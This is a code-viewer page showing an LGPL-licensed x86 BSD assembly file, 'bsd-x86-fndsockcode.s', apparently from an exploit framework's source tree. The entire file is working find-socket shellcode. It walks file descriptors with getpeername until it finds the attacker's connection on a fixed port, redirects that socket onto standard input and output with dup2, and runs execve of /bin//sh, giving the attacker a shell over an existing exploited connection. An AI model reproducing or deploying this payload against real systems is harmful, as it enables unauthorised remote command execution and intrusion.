Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/unixasm/bsd-x86-fndsockcode.s
Views: 11766
/*1* bsd-x86-fndsockcode.s2* Copyright 2006 Ramon de Carvalho Valle <[email protected]>3*4* This library is free software; you can redistribute it and/or5* modify it under the terms of the GNU Lesser General Public6* License as published by the Free Software Foundation; either7* version 2.1 of the License, or (at your option) any later version.8*9* This library is distributed in the hope that it will be useful,10* but WITHOUT ANY WARRANTY; without even the implied warranty of11* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU12* Lesser General Public License for more details.13*14* You should have received a copy of the GNU Lesser General Public15* License along with this library; if not, write to the Free Software16* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA17*18*/1920.global _start2122_start:2324# 60 bytes2526fndsockcode:27xorl %eax,%eax28pushl %eax29movl %esp,%edi3031pushl $0x1032pushl %esp33pushl %edi34pushl %eax35pushl %eax36370:38popl %eax39popl %eax40incl %eax41pushl %eax42pushl %eax43pushl $0x1f44popl %eax45int $0x804647cmpw $0xd204,0x02(%edi)48jne 0b4950pushl %eax51521:53pushl $0x5a54popl %eax55int $0x805657decl -0x10(%edi)58jns 1b5960shellcode:61# xorl %eax,%eax62# pushl %eax63pushl $0x68732f2f64pushl $0x6e69622f65movl %esp,%ebx66pushl %eax67pushl %esp68pushl %ebx69pushl %eax70movb $0x3b,%al71int $0x8072737475